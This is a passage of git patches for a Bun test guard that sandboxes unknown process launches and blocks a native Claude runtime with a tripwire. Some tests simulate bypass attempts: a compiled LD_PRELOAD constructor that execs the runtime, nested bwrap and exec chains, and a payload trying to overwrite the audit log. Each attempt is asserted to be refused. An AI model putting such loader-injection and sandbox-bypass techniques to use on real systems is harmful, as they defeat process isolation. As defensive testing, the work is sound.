go!:()=>void; + const gate=new Promise(resolve=>go=resolve); + const next=Promise.resolve().then(async()=>{await gate;const releaseSecond=nativeFixtureAppAuthority([second]);try{const releaseIndex=nativeFixturePrivateIndex(index,second);releaseIndex();return "INDEPENDENT_FIXTURE_DECLARED";}finally{releaseSecond();}}); + releaseFirst();rmSync(first,{recursive:true});go(); + try{await expect(next,"CLOSED_APP_SCOPE_DOES_NOT_POISON_NEXT_FIXTURE").resolves.toBe("INDEPENDENT_FIXTURE_DECLARED");} + finally{releaseFirst();removePrivateIndexDirectory(index);rmSync(root,{recursive:true,force:true});} +}); + +test("closing one app fixture leaves a second fixture's actual service live",async()=>{ + const root=mkdtempSync("/tmp/odysseus-app-services-"),first=join(root,"first"),second=join(root,"second");mkdirSync(first);mkdirSync(second); + const urls:string[]=[],serve=Bun.serve,observer=spyOn(Bun,"serve").mockImplementation(((options:any)=>{const server=serve(options);if(options.hostname==="127.0.0.1")urls.push(server.url.origin);return server;}) as typeof Bun.serve); + let releaseFirst:(()=>void)|undefined,releaseSecond:(()=>void)|undefined; + try{releaseFirst=nativeFixtureAppAuthority([first]);releaseSecond=nativeFixtureAppAuthority([second]);releaseFirst();expect(urls,"APP_FIXTURES_OWN_INDEPENDENT_BOOT_SERVICES").toHaveLength(2);expect((await fetch(urls[1]!)).status,"SECOND_SERVICE_SURVIVES_FIRST_CLOSE").toBe(400);} + finally{releaseSecond?.();releaseFirst?.();observer.mockRestore();rmSync(root,{recursive:true,force:true});} +}); + +test("a stale app context cannot register new product input after app cleanup",async()=>{ + const root=mkdtempSync("/tmp/odysseus-app-expired-"),index=createPrivateIndexDirectory(),release=nativeFixtureAppAuthority([root]);let go!:()=>void; + const gate=new Promise(resolve=>go=resolve),late=Promise.resolve().then(async()=>{await gate;return nativeFixturePrivateIndex(index,root);});release();go(); + try{await expect(late,"CLOSED_APP_AUTHORITY_REFUSES_REUSE").rejects.toThrow("native fixture app authority unavailable");} + finally{release();removePrivateIndexDirectory(index);rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-guard-regressions.test.ts b/tests/native-guard-regressions.test.ts index 2a2ffcc76a..de7f9f1c55 100644 --- a/tests/native-guard-regressions.test.ts +++ b/tests/native-guard-regressions.test.ts @@ -19,9 +19,9 @@ test("guard audit ownership uses kernel identity while product UID functions are test("qualification stderr retains bounded scrubbed probe and exit evidence",()=>{ const secret="sk-ant-api03-"+"z".repeat(95)+"AA"; - const result=nativeQualificationEvidence("bwrap",{exitCode:1,stderr:`uid_map failed at /tmp/odysseus-private/probe ${secret}\n`+"x".repeat(4096)}); + const result=nativeQualificationEvidence("bwrap",{exitCode:1,stderr:`uid_map failed at /tmp/odysseus-private/probe ${secret}\n`+"unshare operation not permitted\n".repeat(200)}); expect(result.probe).toBe("bwrap");expect(result.exitCode).toBe(1);expect(result.signal).toBeNull(); - expect(result.stderr.length,"QUALIFICATION_STDERR_IS_BOUNDED").toBeLessThanOrEqual(1024); + expect(result.stderr,"QUALIFICATION_STDERR_IS_BOUNDED").toHaveLength(1024); expect(result.stderr).toContain("uid_map failed");expect(result.stderr).not.toContain("odysseus-private");expect(result.stderr).not.toContain(secret); expect(nativeRetainedBoundaryRecord("OS namespace setup failed",undefined,result),"QUALIFICATION_FAILURE_SURVIVES_RECEIPT_LOSS").toMatchObject({qualification:result}); }); diff --git a/tests/native-private-index-role.test.ts b/tests/native-private-index-role.test.ts index d3b8a4c9a4..aed99a81dc 100644 --- a/tests/native-private-index-role.test.ts +++ b/tests/native-private-index-role.test.ts @@ -22,13 +22,13 @@ for(const mode of ["valid","unregistered","expired","expired-before-launch","for if(mode==="expired")release(); if(mode==="foreign-scope")foreign=nativeScriptedService(server.url.origin,{fixtureRoots:[brain,root]}); if(mode==="replaced"){fs.renameSync(index,index+"-held");fs.mkdirSync(index);} - if(mode==="owner-changed"){const stat=fs.lstatSync;spyOn(fs,"lstatSync").mockImplementation((path,options)=>{const info=stat(path,options);return path===index?{...info,uid:options?.bigint?info.uid+1n:info.uid+1}:info;});} + if(mode==="owner-changed"){const stat=fs.lstatSync;spyOn(fs,"lstatSync").mockImplementation((path,options)=>{const info=stat(path,options);return path===index?new Proxy(info,{get(target,key){if(key==="uid")return options?.bigint?info.uid+1n:info.uid+1;const value=Reflect.get(target,key,target);return typeof value==="function"?value.bind(target):value;}}):info;});} plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({...launch,argv})});if(mode==="expired-before-launch")release();plan.beforeLaunch(); const guarded=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv;fs.writeFileSync(guarded[guarded.indexOf("-o")+1],"1 execve("+JSON.stringify(runtime)+", [], 0x1) = 0\\n");plan.dispose();plan=undefined;console.log("EXACT_PRIVATE_INDEX_ROLE_ADMITTED"); }finally{plan?.dispose();release?.();foreign?.();leave();server.stop(true);startupView.cleanup();removePrivateIndexDirectory(index);fs.rmSync(index+"-held",{recursive:true,force:true});}`; try{ const child=spawnGuardFixture([process.execPath,"-e",code]);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); if(mode==="valid"){expect(exit,err).toBe(0);expect(out,"EXACT_PRIVATE_INDEX_ROLE_ADMITTED").toContain("EXACT_PRIVATE_INDEX_ROLE_ADMITTED");} - else{expect(exit,"UNTRUSTED_PRIVATE_INDEX_ROLE_REFUSED "+err).not.toBe(0);expect(out).not.toContain("EXACT_PRIVATE_INDEX_ROLE_ADMITTED");expect(err).toContain("native-offline-boundary");if(["expired","expired-before-launch","unregistered","foreign-scope"].includes(mode))expect(err,"MISSING_PRIVATE_INDEX_NAMES_ITS_PRODUCT_ROLE").toContain('"sourceKind":"product-private-index"');} + else{expect(exit,"UNTRUSTED_PRIVATE_INDEX_ROLE_REFUSED "+err).not.toBe(0);expect(out).not.toContain("EXACT_PRIVATE_INDEX_ROLE_ADMITTED");expect(err).toContain("native-offline-boundary");if(mode==="owner-changed")expect(err,"OWNER_RECHECK_IS_THE_REFUSAL_CAUSE").toContain("private index fixture declaration unavailable");if(["expired","expired-before-launch","unregistered","foreign-scope"].includes(mode))expect(err,"MISSING_PRIVATE_INDEX_NAMES_ITS_PRODUCT_ROLE").toContain('"sourceKind":"product-private-index"');} }finally{rmSync(root,{recursive:true,force:true});} }); diff --git a/tests/native-tripwire.test.ts b/tests/native-tripwire.test.ts index e4916779e9..2ce62cbcdc 100644 --- a/tests/native-tripwire.test.ts +++ b/tests/native-tripwire.test.ts @@ -3,11 +3,11 @@ import {expect,test} from "bun:test"; import {join} from "node:path"; import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); -for(const mode of ["loop","positional","eval","stdin","nested"] as const)test(`unknown tripwire preserves ${mode} fixture behavior`,async()=>{ +for(const mode of ["loop","positional","eval","stdin","nested","nested-implicit"] as const)test(`unknown tripwire preserves ${mode} fixture behavior`,async()=>{ const code=`import {nativeWorkerClassification} from ${JSON.stringify(guard)}; const mode=${JSON.stringify(mode)},script=mode==="loop"?'i=0; while [ "$i" -lt 2 ]; do i=$((i+1)); done; printf Ithaca':mode==="positional"?'exec "$1" Ithaca':mode==="eval"?'eval "$1"':'IFS= read -r line; printf "%s" "$line"'; const args=mode==="positional"?["odysseus-peer","/usr/bin/printf"]:mode==="eval"?["odysseus-peer","printf Ithaca"]:[]; - const command=mode==="nested"?[Bun.which("bwrap"),"--unshare-user","--bind","/","/","--","/bin/sh","-c",'i=1; printf Ithaca']:["/bin/sh","-c",script,...args]; + const command=mode.startsWith("nested")?[Bun.which("bwrap"),"--unshare-user","--bind","/","/",...(mode==="nested"?["--"]:[]),"/bin/sh","-c",'i=1; printf Ithaca']:["/bin/sh","-c",script,...args]; if(nativeWorkerClassification(command)!=="unknown")throw Error("REAL_UNKNOWN_SHAPE_REQUIRED"); const child=Bun.spawn(command,{stdin:"pipe",stdout:"pipe",stderr:"pipe"});if(mode==="stdin")child.stdin.write("Ithaca\\n");child.stdin.end(); const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); @@ -86,24 +86,26 @@ test("T7 a tripwire refusal is scoped to its launch in the same process",async() expect(out,"REFUSAL_IS_LOCAL_TO_FAILED_LAUNCH").toContain("REFUSAL_IS_LOCAL_TO_FAILED_LAUNCH"); }); -for(const changed of [false,true])test(`nested manager exec chain ${changed?"unproven refuses":"masks the runtime before execution"}`,async()=>{ +for(const shape of ["fork","status"] as const)for(const changed of [false,true])test(`nested manager exec chain ${shape} ${changed?"unproven refuses":"masks the runtime before execution"}`,async()=>{ const code=fixtureDiscovery+` const env={...process.env,CLAUDE_CODE_PATH:alias,ODYSSEUS_RUNTIME:alias}; const inner=[Bun.which("bwrap"),"--unshare-user","--bind","/","/","--","/bin/sh","-c",'exec "$ODYSSEUS_RUNTIME"']; - const command=["/usr/bin/python3","-I","-S","-c",guard.NATIVE_FIXTURE_FORK_EXEC+${JSON.stringify(changed?"\n# modified":"")},...inner]; + const {createWorkerStatusPipe}=await import(${JSON.stringify(join(import.meta.dir,"../packages/ui-sdk/src/server/worker-status.ts"))}); + const status=createWorkerStatusPipe(),shape=${JSON.stringify(shape)}; + const command=shape==="fork"?["/usr/bin/python3","-I","-S","-c",guard.NATIVE_FIXTURE_FORK_EXEC+${JSON.stringify(changed?"\n# modified":"")},...inner]:["/bin/sh","-c",'exec 3>"$1"; shift; exec "$@"'+${JSON.stringify(changed?" # modified":"")},"worker-status-fixture",status.source,...inner]; let plan; try{ plan=guard.nativeUnknownBoundary(command,{env}); if(${changed})throw Error("UNPROVEN_SUPERVISOR_MUST_REFUSE_BEFORE_LAUNCH"); - const start=plan.argv.indexOf(command[0]);if(start<0||plan.argv[start+4]!==guard.NATIVE_FIXTURE_FORK_EXEC||plan.argv[start+5]!==inner[0]||plan.argv.filter(value=>value===inner[0]).length!==1)throw Error("NESTED_MASK_MUST_USE_THE_EXISTING_NAMESPACE"); + const start=plan.argv.indexOf(command[0]);if(start<0||!command.slice(0,5).every((value,index)=>plan.argv[start+index]===value)||plan.argv[start+5]!==inner[0]||plan.argv.filter(value=>value===inner[0]).length!==1)throw Error("NESTED_MASK_MUST_USE_THE_EXISTING_NAMESPACE"); let out="",err="";const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["ignore","pipe","pipe"]});child.stdout.on("data",chunk=>out+=chunk);child.stderr.on("data",chunk=>err+=chunk);const exit=await new Promise(resolve=>child.once("close",resolve));console.log(JSON.stringify({exit,out,err})); - }finally{plan?.dispose();fs.rmSync(root,{recursive:true,force:true});} + }finally{plan?.dispose();status.close();fs.rmSync(root,{recursive:true,force:true});} guard.assertNoNativeRefusals();`; const child=isolatedWitness(code);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); expect(exit,"NESTED_NATIVE_ATTEMPT_CANNOT_PASS").not.toBe(0); expect(err,changed?"UNPROVEN_NESTED_CHAIN_REFUSES":"NESTED_RUNTIME_HITS_TRIPWIRE").toContain('"reason":"'+(changed?"restriction cannot be enforced":"installed native runtime blocked by tripwire")+'"'); expect(out,"NESTED_RUNTIME_NEVER_EXECUTES").not.toContain("UNMASKED_PAYLOAD_RAN"); - if(!changed){expect(JSON.parse(out).exit,"SUPERVISOR_PARENT_EXIT_IS_UNCHANGED").toBe(0);expect(JSON.parse(out).err).toContain("Offline native runtime refused by tripwire");} + if(!changed){expect(JSON.parse(out).exit,"SUPERVISOR_PARENT_EXIT_IS_UNCHANGED").toBe(shape==="fork"?0:126);expect(JSON.parse(out).err).toContain("Offline native runtime refused by tripwire");} }); test("unknown launches retain exactly the host dev entries and device flags",async()=>{ @@ -135,3 +137,50 @@ test("an incomplete cancelled exec audit does not refuse an unknown launch",asyn expect(exit,"UNKNOWN_EXEC_AUDIT_IS_DIAGNOSTIC_ONLY "+err).toBe(0);expect(out).toContain("UNKNOWN_EXEC_AUDIT_IS_DIAGNOSTIC_ONLY"); expect(err,"UNKNOWN_AUDIT_UNAVAILABLE_IS_RECORDED").toContain('"kind":"native-offline-unknown-exec-audit"');expect(err).not.toContain('"kind":"native-offline-boundary"'); }); + +test("a loader override cannot execute a runtime before tripwire mounting",async()=>{ + const code=fixtureDiscovery+` + const library=root+"/loader.so"; + const source='#include \\n#include \\n__attribute__((constructor))static void start(void){char *p=getenv("ODYSSEUS_RUNTIME");char *args[]={p,0};if(p)execv(p,args);_exit(97);}'; + const compiled=Bun.spawnSync(["cc","-shared","-fPIC","-x","c","-","-o",library],{stdin:Buffer.from(source),stdout:"pipe",stderr:"pipe"});if(compiled.exitCode)throw Error("KEYLESS_LOADER_WITNESS_REQUIRED"); + let plan;try{ + plan=guard.nativeUnknownBoundary(["/bin/sh","-c",'i=1; printf Ithaca'],{env:{...process.env,LD_PRELOAD:library,ODYSSEUS_RUNTIME:target,CLAUDE_CODE_PATH:alias}}); + let out="";const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["ignore","pipe","pipe"]});child.stdout.on("data",chunk=>out+=chunk);await new Promise(resolve=>child.once("close",resolve));console.log(out); + }finally{plan?.dispose();fs.rmSync(root,{recursive:true,force:true});} + guard.assertNoNativeRefusals();`; + const child=isolatedWitness(code);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(out,"NO_NATIVE_CODE_BEFORE_MOUNTING").not.toContain("UNMASKED_PAYLOAD_RAN");expect(exit,"UNPROVEN_LOADER_REFUSED_BEFORE_ANY_EXEC").not.toBe(0);expect(err).toContain('"reason":"restriction cannot be enforced"'); +}); + +for(const attempt of [false,true])test(`missing diagnostic tracer ${attempt?"still blocks the runtime":"preserves the harmless launch"}`,async()=>{ + const discovery=fixtureDiscovery.replace("const guard=await import",'const which=Bun.which;Bun.which=(name,options)=>name==="strace"?null:which(name,options);const guard=await import'); + const code=discovery+` + const env={...process.env,CLAUDE_CODE_PATH:alias,ODYSSEUS_RUNTIME:target},command=["/bin/sh","-c",${JSON.stringify(attempt?'exec "$ODYSSEUS_RUNTIME"':'i=1; printf Ithaca')}]; + const plan=guard.nativeUnknownBoundary(command,{env});let out="";try{const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["ignore","pipe","pipe"]});child.stdout.on("data",chunk=>out+=chunk);const exit=await new Promise(resolve=>child.once("close",resolve));console.log(JSON.stringify({exit,out}));}finally{plan.dispose();fs.rmSync(root,{recursive:true,force:true});}guard.assertNoNativeRefusals();`; + const child=isolatedWitness(code);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(err,"MISSING_TRACE_IS_DIAGNOSTIC_ONLY").toContain('"kind":"native-offline-unknown-exec-audit"');expect(out).not.toContain("UNMASKED_PAYLOAD_RAN"); + if(attempt){expect(exit,"MASK_ENFORCEMENT_DOES_NOT_DEPEND_ON_STRACE").not.toBe(0);expect(JSON.parse(out).exit).toBe(126);expect(err).toContain('"reason":"installed native runtime blocked by tripwire"');} + else{expect(exit,"HARMLESS_LAUNCH_DOES_NOT_REQUIRE_DIAGNOSTIC_TRACER "+err).toBe(0);expect(JSON.parse(out)).toEqual({exit:0,out:"Ithaca"});} +}); + +test("the unknown payload cannot rewrite the guard-side exec audit",async()=>{ + const code=fixtureDiscovery+` + const script='import os,sys,errno\\ntry: open(os.environ["ODYSSEUS_AUDIT_LOG"],"w").close()\\nexcept OSError as error:\\n assert error.errno==errno.EROFS\\n print("UNKNOWN_AUDIT_LOG_IS_GUARD_ONLY")\\n sys.exit(0)\\nraise AssertionError("UNKNOWN_PAYLOAD_REWROTE_EXEC_AUDIT")'; + const command=["/bin/sh","-c",'exec "$@"',"fixture","/usr/bin/python3","-I","-S","-c",script],plan=guard.nativeUnknownBoundary(command,{env:process.env}); + plan.env.ODYSSEUS_AUDIT_LOG=plan.argv[plan.argv.indexOf("-o")+1];plan.beforeLaunch();let out="",err=""; + try{const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["ignore","pipe","pipe"]});child.stdout.on("data",chunk=>out+=chunk);child.stderr.on("data",chunk=>err+=chunk);const exit=await new Promise(resolve=>child.once("close",resolve));console.log(JSON.stringify({exit,out,err}));}finally{plan.dispose();fs.rmSync(root,{recursive:true,force:true});}guard.assertNoNativeRefusals();`; + const child=isolatedWitness(code);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit,err).toBe(0);const result=JSON.parse(out);expect(result.exit,"UNKNOWN_AUDIT_LOG_CANNOT_BE_REWRITTEN "+result.err).toBe(0);expect(result.out).toContain("UNKNOWN_AUDIT_LOG_IS_GUARD_ONLY"); +}); + +test("a parent status FIFO descriptor survives the user namespace without a proc reopen",async()=>{ + const code=fixtureDiscovery+` + const {createWorkerStatusPipe}=await import(${JSON.stringify(join(import.meta.dir,"../packages/ui-sdk/src/server/worker-status.ts"))}); + const status=createWorkerStatusPipe(),info=fs.statSync(status.source); + const script='import os,stat,json\\ninfo=os.fstat(3)\\nassert stat.S_ISFIFO(info.st_mode)\\nassert info.st_dev==int(os.environ["ODYSSEUS_FIFO_DEV"]) and info.st_ino==int(os.environ["ODYSSEUS_FIFO_INO"])\\nprint("STATUS_DESCRIPTOR_SURVIVES_NAMESPACE")'; + const command=["/bin/sh","-c",'exec 3>"$1"; exec "$2" -I -S -c "$3"',"odysseus-fifo",status.source,"/usr/bin/python3",script]; + const plan=guard.nativeUnknownBoundary(command,{env:{ODYSSEUS_FIFO_DEV:String(info.dev),ODYSSEUS_FIFO_INO:String(info.ino)}}); + let out="",err="";try{plan.beforeLaunch();const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:["ignore","pipe","pipe"]});child.stdout.on("data",chunk=>out+=chunk);child.stderr.on("data",chunk=>err+=chunk);const exit=await new Promise(resolve=>child.once("close",resolve));if(exit)throw Error("STATUS_DESCRIPTOR_SURVIVES_NAMESPACE "+err);console.log(out);}finally{plan.dispose();status.close();fs.rmSync(root,{recursive:true,force:true});}guard.assertNoNativeRefusals();`; + const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit,"STATUS_DESCRIPTOR_SURVIVES_NAMESPACE "+err).toBe(0);expect(out).toContain("STATUS_DESCRIPTOR_SURVIVES_NAMESPACE"); +}); From 38917e7d457e25104337d885ab6cbaf289d7b77c Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 06:42:21 +0000 Subject: [PATCH 096/187] fix(test): release completed unknown launch polling timers --- scripts/test-native-guard.ts | 5 +++-- tests/native-tripwire.test.ts | 9 +++++++++ 2 files changed, 12 insertions(+), 2 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 1edd413160..53e8285b87 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1692,11 +1692,12 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon if(!strace)diagnosticUnavailable(); timer=setInterval(()=>inspect(),20);timer.unref(); // A daemonized tracer preserves the original parent exit and detached-child - // lifetime. Keep observing until this owner exits, even after the launch leader. + // lifetime. A final owner-exit read covers detached evidence without retaining + // launch polling timers after disposal. process.once("exit",()=>{inspect(true);cleanup();}); const encoded=JSON.stringify(argv); const launchEnv={...options.env??process.env};delete launchEnv.BRAIN_NATIVE_RECEIPT; - const boundary={argv,env:launchEnv,unknown:true as const,nativeExecuted:()=>false,beforeLaunch(){if(statusIdentity){try{const held=statSync(statusIdentity.source);if(!held.isFIFO()||held.uid!==nativeKernelIdentity().uid||held.dev!==statusIdentity.dev||held.ino!==statusIdentity.ino)throw Error("changed FIFO");}catch{refuse("restriction cannot be enforced");}}const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){if(complete)return;complete=true;inspect(true);}}; + const boundary={argv,env:launchEnv,unknown:true as const,nativeExecuted:()=>false,beforeLaunch(){if(statusIdentity){try{const held=statSync(statusIdentity.source);if(!held.isFIFO()||held.uid!==nativeKernelIdentity().uid||held.dev!==statusIdentity.dev||held.ino!==statusIdentity.ino)throw Error("changed FIFO");}catch{refuse("restriction cannot be enforced");}}const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){if(complete)return;complete=true;clearInterval(timer);inspect(true);}}; guardedPlans.add(argv);guardedBoundaries.set(argv,boundary);return boundary; }catch(error){cleanup();throw error;} } diff --git a/tests/native-tripwire.test.ts b/tests/native-tripwire.test.ts index 2ce62cbcdc..84215caf68 100644 --- a/tests/native-tripwire.test.ts +++ b/tests/native-tripwire.test.ts @@ -184,3 +184,12 @@ test("a parent status FIFO descriptor survives the user namespace without a proc const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); expect(exit,"STATUS_DESCRIPTOR_SURVIVES_NAMESPACE "+err).toBe(0);expect(out).toContain("STATUS_DESCRIPTOR_SURVIVES_NAMESPACE"); }); + +test("a completed unknown launch releases its diagnostic polling timer",async()=>{ + const code=fixtureDiscovery+` + const original=globalThis.setInterval,held=[];globalThis.setInterval=(...args)=>{const timer=original(...args);held.push(timer);return timer;}; + const plan=guard.nativeUnknownBoundary(["/bin/sh","-c",'i=1; printf Ithaca'],{env:process.env}); + try{const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:"ignore"});const exit=await new Promise(resolve=>child.once("close",resolve));if(exit)throw Error("HARMLESS_LAUNCH_REQUIRED");plan.dispose();if(!held.length||held.some(timer=>timer._destroyed!==true))throw Error("UNKNOWN_POLLING_TIMER_RELEASED");console.log("UNKNOWN_POLLING_TIMER_RELEASED");}finally{plan.dispose();globalThis.setInterval=original;fs.rmSync(root,{recursive:true,force:true});}guard.assertNoNativeRefusals();`; + const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit,"UNKNOWN_POLLING_TIMER_RELEASED "+err).toBe(0);expect(out).toContain("UNKNOWN_POLLING_TIMER_RELEASED"); +}); From 710f18f9086f76631fe92000123b151d72e2370d Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 06:57:25 +0000 Subject: [PATCH 097/187] fix(test): isolate qualification tools from fixture PATH --- scripts/test-native-guard.ts | 31 ++++++++++++------- tests/native-qualification-paths.test.ts | 38 ++++++++++++++++++++++++ 2 files changed, 59 insertions(+), 10 deletions(-) create mode 100644 tests/native-qualification-paths.test.ts diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 53e8285b87..459e15442d 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -18,6 +18,7 @@ const GUARD_TMPDIR = tmpdir(); // Fixed Git metadata only. Discovery refusal must not recurse through admission. const metadataSpawnSync = Bun.spawnSync.bind(Bun); const metadataWhich = Bun.which.bind(Bun); +const GUARD_TOOL_PATH = process.env.PATH ?? "/usr/bin:/bin"; // Distribution-owned, read-only runtime bytes; never service/cache storage. const SYSTEM = ["/usr", "/bin", "/sbin", "/lib", "/lib32", "/lib64", "/libx32"]; const SYSTEM_FILES = ["/etc/ld.so.cache", "/etc/localtime", "/etc/os-release"]; @@ -203,6 +204,10 @@ export function refuseNativeClaude(command: string, args: readonly unknown[] = [ if (isNativeClaude(command, args, options)) refuse("OS isolation has not been qualified"); } +/** Qualification uses the guard's startup tool search path, never fixture PATH. */ +function spawnQualificationProbe(argv:string[]) { + return Bun.spawnSync(argv,{env:{PATH:GUARD_TOOL_PATH},stdout:"pipe",stderr:"pipe",timeout:5000}); +} function qualify(): void { // Positive native proof is reserved for disposable hosted runners. Namespace // availability on a developer machine never authorizes a native test launch. @@ -211,21 +216,19 @@ function qualify(): void { } if (qualified) return; let result: ReturnType; - try { result = Bun.spawnSync(["bwrap", "--unshare-all", "--die-with-parent", "--new-session", "--ro-bind", "/usr", "/usr", - "--symlink", "usr/bin", "/bin", "--symlink", "usr/lib", "/lib", "--symlink", "usr/lib64", "/lib64", "/usr/bin/true"], - { env: {}, stdout: "pipe", stderr: "pipe", timeout: 5000 }); } + try { result = spawnQualificationProbe(["bwrap", "--unshare-all", "--die-with-parent", "--new-session", "--ro-bind", "/usr", "/usr", + "--symlink", "usr/bin", "/bin", "--symlink", "usr/lib", "/lib", "--symlink", "usr/lib64", "/lib64", "/usr/bin/true"]); } catch(error) { refuse("OS namespace setup failed",undefined,undefined,nativeQualificationEvidence("bwrap",undefined,error)); } if (result.exitCode !== 0) refuse("OS namespace setup failed",undefined,undefined,nativeQualificationEvidence("bwrap",result)); let trace: ReturnType; - try { trace = Bun.spawnSync(["strace", "-I", "1", "--kill-on-exit", "-qq", "-e", "trace=connect", "-e", "raw=connect", "/usr/bin/true"], - { env: {}, stdout: "pipe", stderr: "pipe", timeout: 5000 }); } + try { trace = spawnQualificationProbe(["strace", "-I", "1", "--kill-on-exit", "-qq", "-e", "trace=connect", "-e", "raw=connect", "/usr/bin/true"]); } catch(error) { refuse("native connection audit setup failed",undefined,undefined,nativeQualificationEvidence("strace",undefined,error)); } if (trace.exitCode !== 0) refuse("native connection audit setup failed",undefined,undefined,nativeQualificationEvidence("strace",trace)); - bwrapExecutable = Bun.which("bwrap") ?? refuse("OS namespace setup failed"); - straceExecutable = Bun.which("strace") ?? refuse("native connection audit setup failed"); + bwrapExecutable = Bun.which("bwrap",{PATH:GUARD_TOOL_PATH}) ?? refuse("OS namespace setup failed"); + straceExecutable = Bun.which("strace",{PATH:GUARD_TOOL_PATH}) ?? refuse("native connection audit setup failed"); const policy = compileSocketPolicy(); let socketProof: ReturnType; - try { socketProof = Bun.spawnSync([policy, "--probe", nativeTestHead()], { env: {}, stdout: "pipe", stderr: "pipe", timeout: 5000 }); } + try { socketProof = spawnQualificationProbe([policy, "--probe", nativeTestHead()]); } catch(error) { refuse("native socket lifetime policy unavailable",undefined,undefined,nativeQualificationEvidence("socket-policy",undefined,error)); } if (socketProof.exitCode !== 0) refuse("native socket lifetime policy unavailable",undefined,undefined,nativeQualificationEvidence("socket-policy",socketProof)); qualified = true; @@ -1574,9 +1577,17 @@ export function nativeWorkerClassification(argv:readonly string[],context:SpawnC try{if((argv[0]===process.execPath||basename(argv[0]??"")==="bun")&&resolveExecutable(argv[0]!,context)===realpathSync(process.execPath))return "non-native";}catch{/* Unresolved entrypoints remain unknown. */} return nativeWorkerArgvNeedsIsolation(argv,context)?"unknown":"non-native"; } -export function nativeTripwireMaskPaths(context:SpawnContext={}):string[]{ +/** A missing runtime spelling cannot execute. Other metadata failures are uncertain. */ +export function nativeExistingRuntimeMaskPaths(candidates:readonly string[]):string[]{ const paths=new Set(); - for(const entry of installedRuntimes)for(const path of [entry.path,...entry.aliases??[]]){paths.add(path);paths.add(realpathSync(path));} + for(const path of candidates){ + try{const canonical=realpathSync(path);statSync(canonical);paths.add(path);paths.add(canonical);} + catch(error){if((error as NodeJS.ErrnoException).code!=="ENOENT")throw error;} + } + return [...paths].sort(); +} +export function nativeTripwireMaskPaths(context:SpawnContext={}):string[]{ + const paths=new Set(nativeExistingRuntimeMaskPaths(installedRuntimes.flatMap(entry=>[entry.path,...entry.aliases??[]]))); const selected=context.env?.CLAUDE_CODE_PATH??process.env.CLAUDE_CODE_PATH; if(selected&&isNativeClaude(selected,[],context)){paths.add(resolve(context.cwd??process.cwd(),selected));paths.add(resolveExecutable(selected,context));} return [...paths].sort(); diff --git a/tests/native-qualification-paths.test.ts b/tests/native-qualification-paths.test.ts new file mode 100644 index 0000000000..d7313d2ca9 --- /dev/null +++ b/tests/native-qualification-paths.test.ts @@ -0,0 +1,38 @@ +/** Qualification and mask discovery only; no installed runtime executes. */ +import {expect,spyOn,test} from "bun:test"; +import * as fs from "node:fs"; +import {join} from "node:path"; +import {nativeExistingRuntimeMaskPaths} from "../scripts/test-native-guard"; +import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; + +test("a missing installed-runtime candidate is skipped while existing aliases remain masked",()=>{ + const root=fs.mkdtempSync("/tmp/odysseus-runtime-mask-paths-"),existing=join(root,"selected"),alias=join(root,"alias"),missing=join(root,"missing"),broken=join(root,"broken"); + try{ + fs.writeFileSync(existing,"harmless metadata witness");fs.symlinkSync(existing,alias);fs.symlinkSync(missing,broken); + expect(nativeExistingRuntimeMaskPaths([missing,existing,alias,broken]),"MISSING_RUNTIME_CANDIDATE_IS_SKIPPED").toEqual([alias,existing].sort()); + }finally{fs.rmSync(root,{recursive:true,force:true});} +}); + +for(const code of ["EACCES","EPERM","ENOTDIR"])test(`runtime mask metadata ${code} still fails closed`,()=>{ + const root=fs.mkdtempSync("/tmp/odysseus-runtime-mask-errors-"),path=join(root,"selected");fs.writeFileSync(path,"metadata only"); + const real=fs.statSync,spy=spyOn(fs,"statSync").mockImplementation(((input:any,...args:any[])=>{if(input===path)throw Object.assign(Error("runtime metadata unavailable"),{code});return Reflect.apply(real,fs,[input,...args]);}) as typeof fs.statSync); + try{expect(()=>nativeExistingRuntimeMaskPaths([path]),"NON_ENOENT_METADATA_FAILURE_REFUSES").toThrow("runtime metadata unavailable");} + finally{spy.mockRestore();fs.rmSync(root,{recursive:true,force:true});} +}); + +test("qualification uses its startup tool environment after a fixture removes tools from PATH",async()=>{ + const 